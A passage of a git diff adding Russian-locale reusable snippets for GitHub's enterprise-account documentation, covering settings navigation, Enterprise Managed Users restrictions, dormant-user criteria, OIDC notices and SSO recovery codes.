endnote %} + +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/audit-log-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/audit-log-tab.md new file mode 100644 index 000000000000..364041d9fc91 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/audit-log-tab.md @@ -0,0 +1,2 @@ +1. Under "{% octicon "gear" aria-label="The Settings gear" %} Settings", click **Audit log**. + ![Audit log tab in the enterprise account sidebar](/assets/images/help/business-accounts/enterprise-account-settings-audit-log-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md b/translations/ru-RU/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md new file mode 100644 index 000000000000..aa68b51f583f --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md @@ -0,0 +1 @@ +If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for any {% data variables.product.prodname_github_codespaces %} usage, and for {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} usage beyond the amounts included with your account. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/billing-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/billing-tab.md new file mode 100644 index 000000000000..375f1e6472b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/billing-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 9b887e360bb275b0f26b5bfa0dc24c132367bed5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145124059" +--- +1. На левой боковой панели щелкните **Выставление счетов**. + ![Вкладка «Выставление счетов» на боковой панели параметров корпоративной учетной записи](/assets/images/help/business-accounts/settings-billing-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md b/translations/ru-RU/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md new file mode 100644 index 000000000000..10e0dcf787b6 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c2217b967c5e48b2b3e4ab020b5b3754a49bb2dc +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148107456" +--- +1. В разделе {% octicon "law" aria-label="The law icon" %} **Политики** щелкните "Безопасность и анализ кода". + ![Снимок экрана: политики безопасности и анализа кода на боковой панели](/assets/images/help/enterprises/code-security-and-analysis-policies.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/continue-verifying-domain.md b/translations/ru-RU/data/reusables/enterprise-accounts/continue-verifying-domain.md new file mode 100644 index 000000000000..4e30312d9788 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/continue-verifying-domain.md @@ -0,0 +1,4 @@ +9. To the right of the domain that's pending verification, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Continue verifying**. +![Continue verifying domain button](/assets/images/help/enterprises/continue-verifying-domain-enterprise.png) +10. Click **Verify**. +![Verify button](/assets/images/help/organizations/verify-domain-final-button.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md b/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md new file mode 100644 index 000000000000..534d9c25e0db --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md @@ -0,0 +1 @@ +{% ifversion not ghec%}By default, a{% else %}A{% endif %} user account is considered to be dormant if it has not been active for 90 days. {% ifversion not ghec %}You can configure the length of time a user must be inactive to be considered dormant{% ifversion ghes%} and choose to suspend dormant users to release user licenses{% endif %}.{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity.md b/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity.md new file mode 100644 index 000000000000..80878d1726ee --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-activity.md @@ -0,0 +1,23 @@ +A user is considered active if the user has performed any of the following activities on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. + +- Signing into {% data variables.location.product_location %} +- Creating a repository +- Pushing to a repository +- Being added to a repository +- Changing the visibility of a repository +- Creating an issue or pull request +- Commenting on an issue or pull request +- Closing or reopening an issue or pull request +- Applying a label to an issue or pull request, or removing a label +- Assigning or unassigning an issue or pull request +- Requesting a review of a pull request, or removing a review request +- Creating or editing a comment in a pull request review +- Dismissing a comment in a pull request +- Synchronizing a pull request +- Commenting on a commit +- Publishing a release +- Pushing to a wiki +- Watching a repository +- Starring a repository +- Deleting a repository +- Accessing resources by using a {% data variables.product.pat_generic %} or SSH key diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-release-phase.md b/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-release-phase.md new file mode 100644 index 000000000000..545980eb9e7e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/dormant-user-release-phase.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 283455d48e4fe3a64c531b637e78abea2fe77e8e +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145124035" +--- +{% note %} + +**Примечание.** Отчет "Неактивные пользователи" в настоящее время находится в состоянии бета-версии и может быть изменен. Во время существования бета-версии постоянные улучшения функции скачивания отчета могут ограничить его доступность. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/download-recovery-codes.md b/translations/ru-RU/data/reusables/enterprise-accounts/download-recovery-codes.md new file mode 100644 index 000000000000..04bd6d69e908 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/download-recovery-codes.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 897f21b86a37da0cf6e8e12bd66b6253d87bb1a1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145955469" +--- +1. Чтобы обеспечить доступ к организации в случае, если поставщик удостоверений станет недоступен в будущем, нажмите кнопку **Скачать**, **Печать** или **Копировать**, чтобы сохранить коды восстановления. Дополнительные сведения см. в статье [Скачивание кодов восстановления единого входа для корпоративной учетной записи](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes). + + ![Снимок экрана: кнопки для скачивания, печати или копирования кодов восстановления](/assets/images/help/saml/saml_recovery_code_options.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/email-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/email-tab.md new file mode 100644 index 000000000000..da0f8b3a82b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/email-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 4e81ce10a50ae4c27f11964b0d117959de39cfee +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145088478" +--- +1. В разделе {% octicon "gear" aria-label="The Settings gear" %} **Параметры** щелкните **Адрес электронной почты**. + ![Вкладка "Адрес электронной почты" на боковой панели корпоративной учетной записи](/assets/images/enterprise/configuration/enterprise-account-email-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-azure-admin-consent.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-azure-admin-consent.md new file mode 100644 index 000000000000..52dd63a6482d --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-azure-admin-consent.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 75ac89c3c50225b0c930c6d603acf0d5c331597d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147067861" +--- +1. Вы будете перенаправлены на страницу поставщика удостоверений, где нужно выполнить вход и предложенную процедуру для предоставления согласия и установки приложения {% data variables.product.prodname_emu_idp_oidc_application %}. + {% warning %} + + **Предупреждение:** Чтобы предоставить согласие на установку приложения {% data variables.product.prodname_emu_idp_oidc_application %}, необходимо войти в Azure AD от имени пользователя с правами глобального администратора. + + {% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-cap-validates.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-cap-validates.md new file mode 100644 index 000000000000..f362c9b0abde --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-cap-validates.md @@ -0,0 +1 @@ +When your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will automatically use your IdP's conditional access policy (CAP) IP conditions to validate user interactions with {% data variables.product.prodname_dotcom %}, when members change IP addresses, and each time a {% data variables.product.pat_generic %} or SSH key is used. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-forks.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-forks.md new file mode 100644 index 000000000000..f78720f3bceb --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-forks.md @@ -0,0 +1 @@ +{% data variables.enterprise.prodname_managed_users_caps %} cannot fork repositories from outside of the enterprise or fork internal repositories. {% data variables.enterprise.prodname_managed_users_caps %} can fork private repositories owned by organizations in the enterprise into other organizations owned by the enterprise, or as a fork owned by the {% data variables.enterprise.prodname_managed_user %}. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-more-info-account.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-more-info-account.md new file mode 100644 index 000000000000..df6033c07a8e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-more-info-account.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b7424ba4047bd87cdef0890d0f61e1423568e75f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145070049" +--- +Дополнительные сведения см. в разделе "[Типы учетных записей GitHub](/get-started/learning-about-github/types-of-github-accounts#enterprise-managed-users)". diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-only-emails-within-the-enterprise-can-conflict.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-only-emails-within-the-enterprise-can-conflict.md new file mode 100644 index 000000000000..fc9b61015f51 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-only-emails-within-the-enterprise-can-conflict.md @@ -0,0 +1,5 @@ +{% note %} + +**Note:** Because {% data variables.product.prodname_dotcom %} adds an underscore and short code to the normalized identifier provided by your IdP when creating each username, conflicts can only occur within each {% data variables.enterprise.prodname_emu_enterprise %}. {% data variables.enterprise.prodname_managed_users_caps %} can share IdP identifiers or email addresses with other user accounts on {% data variables.product.prodname_dotcom_the_website %} that are outside the enterprise. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-password-reset-session.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-password-reset-session.md new file mode 100644 index 000000000000..369e1125b54e --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-password-reset-session.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 16cdc4a8d55cd0d709a82283d5f29635179c65fc +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145119440" +--- +Если вам нужно сбросить пароль для пользователя установки, обратитесь к {% data variables.contact.github_support %} через {% data variables.contact.contact_enterprise_portal %}. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-follow.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-follow.md new file mode 100644 index 000000000000..a27bed899e90 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-follow.md @@ -0,0 +1 @@ +{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only follow other members of their enterprise. {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-fork.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-fork.md new file mode 100644 index 000000000000..c3bf0cb89e82 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-fork.md @@ -0,0 +1 @@ +{% ifversion ghec %}Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot fork repositories from outside of the enterprise or fork internal repositories.{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-gist.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-gist.md new file mode 100644 index 000000000000..509362719981 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-gist.md @@ -0,0 +1 @@ +{% ifversion ghec %}Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot create gists and have read-only access to gists.{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-interact.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-interact.md new file mode 100644 index 000000000000..b2162ba7e2ba --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-interact.md @@ -0,0 +1 @@ +{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only interact with repositories within their enterprise. {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-propose.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-propose.md new file mode 100644 index 000000000000..2c473bfaa317 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-propose.md @@ -0,0 +1 @@ +{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only propose changes in repositories that are part of their enterprise. {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-repo.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-repo.md new file mode 100644 index 000000000000..4112f4ef2570 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-permission-repo.md @@ -0,0 +1 @@ +{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only make changes in repositories that are part of their enterprise. {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-saml-note.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-saml-note.md new file mode 100644 index 000000000000..3fae946edb1b --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-saml-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 03fc37872f6b1894507ab5241402d6a185abbefa +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147884585" +--- +{% ifversion ghec%} {% note %} + +**Примечание.** Если в вашем предприятии используется {% data variables.product.prodname_emus %}, для настройки единого входа SAML применяется другой процесс. Дополнительные сведения см. в разделе [Настройка единого входа SAML для приложения Enterprise Managed Users](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-scim-note.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-scim-note.md new file mode 100644 index 000000000000..d07d56978bdf --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-scim-note.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: b1c9d6341bb404267c34fa75e1a9c4c5eb401956 +ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/10/2022 +ms.locfileid: "148160855" +--- +{% ifversion ghec%} {% note %} + +**Примечание**. Если ваше предприятие использует {% data variables.product.prodname_emus %}, вам не нужно использовать синхронизацию команд. Вместо этого вы можете управлять членством в команде с помощью конфигурации SCIM, созданной при настройке предприятия. Дополнительные сведения см. на странице [Управление членством в командах с помощью групп поставщиков удостоверений](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups). + +{% endnote %} {% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-short-summary.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-short-summary.md new file mode 100644 index 000000000000..c80082fe0753 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-short-summary.md @@ -0,0 +1 @@ +{% data variables.product.prodname_emus %} is a feature of {% data variables.product.prodname_ghe_cloud %} that provides even greater control over enterprise members and resources. With {% data variables.product.prodname_emus %}, all members are provisioned and managed through your identity provider (IdP) instead of users creating their own accounts on {% data variables.product.product_name %}. Team membership can be managed using groups on your IdP. {% data variables.enterprise.prodname_managed_users_caps %} are restricted to their enterprise and are unable to push code, collaborate, or interact with users, repositories, and organizations outside of their enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion not ghec %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-shortcode.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-shortcode.md new file mode 100644 index 000000000000..df3deb8c9bf1 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-shortcode.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2c37a194ba4edf12bc082a31c7c0285e457bd4cf +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145070012" +--- +Краткий код должен быть уникальным для предприятия и должен представлять собой буквенно-цифровую строку длиной от трех до восьми символов, а также не содержать специальных символов. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/emu-supported-idps.md b/translations/ru-RU/data/reusables/enterprise-accounts/emu-supported-idps.md new file mode 100644 index 000000000000..92ecfb8fe549 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/emu-supported-idps.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: c7e46d4e92ed1addba4fa1c0eef84f01b747b608 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070009" +--- +* Azure Active Directory (Azure AD) +* Okta diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-billing.md b/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-billing.md new file mode 100644 index 000000000000..c056bb714c41 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6baa2c0b9fecf32e88baa439a34e49db7ecb3f45 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145070008" +--- +Корпоративные учетные записи в настоящее время доступны клиентам {% data variables.product.prodname_ghe_cloud %} и {% data variables.product.prodname_ghe_server %}, которые оплачивают услуги по счетам. Счета для всех организаций и экземпляров {% data variables.product.prodname_ghe_server %}, подключенных к вашей корпоративной учетной записи, объединяются в единый счет. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md new file mode 100644 index 000000000000..e8b12b1a73e5 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-accounts-compliance-tab.md @@ -0,0 +1,2 @@ +1. In the enterprise account sidebar, click {% octicon "checklist" aria-label="The Compliance icon" %} **Compliance**. + ![Compliance tab in the enterprise account sidebar](/assets/images/help/business-accounts/enterprise-accounts-compliance-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-administrators.md b/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-administrators.md new file mode 100644 index 000000000000..eb93500b8dfd --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/enterprise-administrators.md @@ -0,0 +1 @@ +{% ifversion fpt or ghec %}Currently, there are two administrative roles available in enterprises: enterprise owners, who can access and manage all settings across the enterprise, and billing managers, who can access and manage only the enterprise's billing settings. {% endif %}Enterprise owners can {% ifversion fpt or ghec %}also {% endif %} see all of the members and outside collaborators for every organization owned by the enterprise. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/github-connect-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/github-connect-tab.md new file mode 100644 index 000000000000..ca93cf67edf2 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/github-connect-tab.md @@ -0,0 +1,2 @@ +1. In the enterprise account sidebar, click {% octicon "plug" aria-label="The GitHub Connect gear" %} **{% data variables.product.prodname_github_connect %}**. + ![GitHub Connect tab in the enterprise account sidebar](/assets/images/help//business-accounts/enterprise-account-github-connect-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/hooks-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/hooks-tab.md new file mode 100644 index 000000000000..6b1a3fb355e8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/hooks-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a2328c7e89e703ae1edb3b4d62bc7f7d795ae937 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147785809" +--- +1. В разделе "Параметры {% octicon "gear" aria-label="The Settings gear" %}" нажмите **Обработчики**. + ![Вкладка "Обработчики" на боковой панели параметров корпоративной учетной записи](/assets/images/help/business-accounts/settings-hooks-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/invite-organization.md b/translations/ru-RU/data/reusables/enterprise-accounts/invite-organization.md new file mode 100644 index 000000000000..e87f84160c92 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/invite-organization.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e108c21ffed150bf0cc542208e03d91714ce06fc +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881703" +--- +Владельцы корпоративной учетной записи могут пригласить существующие учетные записи организации присоединиться к их организации. Дополнительные сведения см. в разделе [Приглашение организации присоединиться к корпоративной учетной записи](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#inviting-an-organization-to-join-your-enterprise-account). diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/license-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/license-tab.md new file mode 100644 index 000000000000..e3e7aa6057fd --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/license-tab.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: 625cf383f5622d594879bcfa2d52717087ce30dd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145088514" +--- +{% ifversion fpt or ghec %} + +1. На боковой панели слева щелкните **Корпоративное лицензирование**. + ![Вкладка "Корпоративное лицензирование" на боковой панели параметров корпоративной учетной записи](/assets/images/help/enterprises/enterprise-licensing-tab.png) + +{% else %} + +1. На левой боковой панели щелкните **Лицензия**. + ![Вкладка "Лицензия" на боковой панели параметров корпоративной учетной записи](/assets/images/enterprise/enterprise-server/license.png) + +{% endif %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/messages-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/messages-tab.md new file mode 100644 index 000000000000..af9df45fdda1 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/messages-tab.md @@ -0,0 +1,2 @@ +1. Under **{% octicon "gear" aria-label="The Settings gear" %} Settings**, click **Messages**. + ![Messages tab in the enterprise settings sidebar](/assets/images/enterprise/business-accounts/settings-messages-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/oidc-beta-notice.md b/translations/ru-RU/data/reusables/enterprise-accounts/oidc-beta-notice.md new file mode 100644 index 000000000000..28641238f047 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/oidc-beta-notice.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 212811ec85eac69f0a197bdd7b5002848a30a889 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147059885" +--- +{% note %} + +**Примечание.** Поддержка OpenID Connect (OIDC) и политики условного доступа (CAP) для {% data variables.product.prodname_emus %} находится в общедоступной бета-версии и доступна только для Azure AD. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/oidc-gei-warning.md b/translations/ru-RU/data/reusables/enterprise-accounts/oidc-gei-warning.md new file mode 100644 index 000000000000..5ec0d137b673 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/oidc-gei-warning.md @@ -0,0 +1,5 @@ +{% warning %} + +**Warning:** If you use {% data variables.product.prodname_importer_proper_name %} to migrate an organization from {% data variables.location.product_location_enterprise %}, make sure to use a service account that is exempt from Azure AD's CAP otherwise your migration may be blocked. + +{% endwarning %} diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/options-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/options-tab.md new file mode 100644 index 000000000000..8601c3de9c0a --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/options-tab.md @@ -0,0 +1,2 @@ +1. Under {% ifversion ghes or ghae %} {% octicon "law" aria-label="The law icon" %} **Policies**{% else %}"{% octicon "gear" aria-label="The Settings gear" %} Settings"{% endif %}, click **Options**. +![Options tab in the enterprise account settings sidebar](/assets/images/enterprise/business-accounts/settings-options-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/packages-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/packages-tab.md new file mode 100644 index 000000000000..c689e1dd46da --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/packages-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 986507666a63538b896737d641f18fa3e27c5143 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147410849" +--- +1. На боковой панели слева нажмите **Пакеты**. diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/pages-policies-save.md b/translations/ru-RU/data/reusables/enterprise-accounts/pages-policies-save.md new file mode 100644 index 000000000000..2e778a275580 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/pages-policies-save.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 42d0c8123afb8f084548529ba638b800aba7de62 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145088506" +--- + 6. Нажмите **Сохранить**. + ![Кнопка "Сохранить"](/assets/images/enterprise/business-accounts/pages-policies-save-button.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/pages-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/pages-tab.md new file mode 100644 index 000000000000..189c783189b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/pages-tab.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 663849321ade9cb47032bc22221cd3d72931feca +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139737" +--- +1. В разделе "Политики {% octicon "law" aria-label="The law icon" %}" нажмите **Страницы**. + ![Вкладка "Страницы" на боковой панели параметров корпоративной учетной записи](/assets/images/enterprise/business-accounts/pages-tab.png) diff --git a/translations/ru-RU/data/reusables/enterprise-accounts/payment-information-tab.md b/translations/ru-RU/data/reusables/enterprise-accounts/payment-information-tab.md new file mode 100644 index 000000000000..1d65cd863221 --- /dev/null +++ b/translations/ru-RU/data/reusables/enterprise-accounts/payment-information-tab.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: bc120bd7d29ccf5fef8c3ba8cdd3803a4c1b372c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880175" +--- +1. В 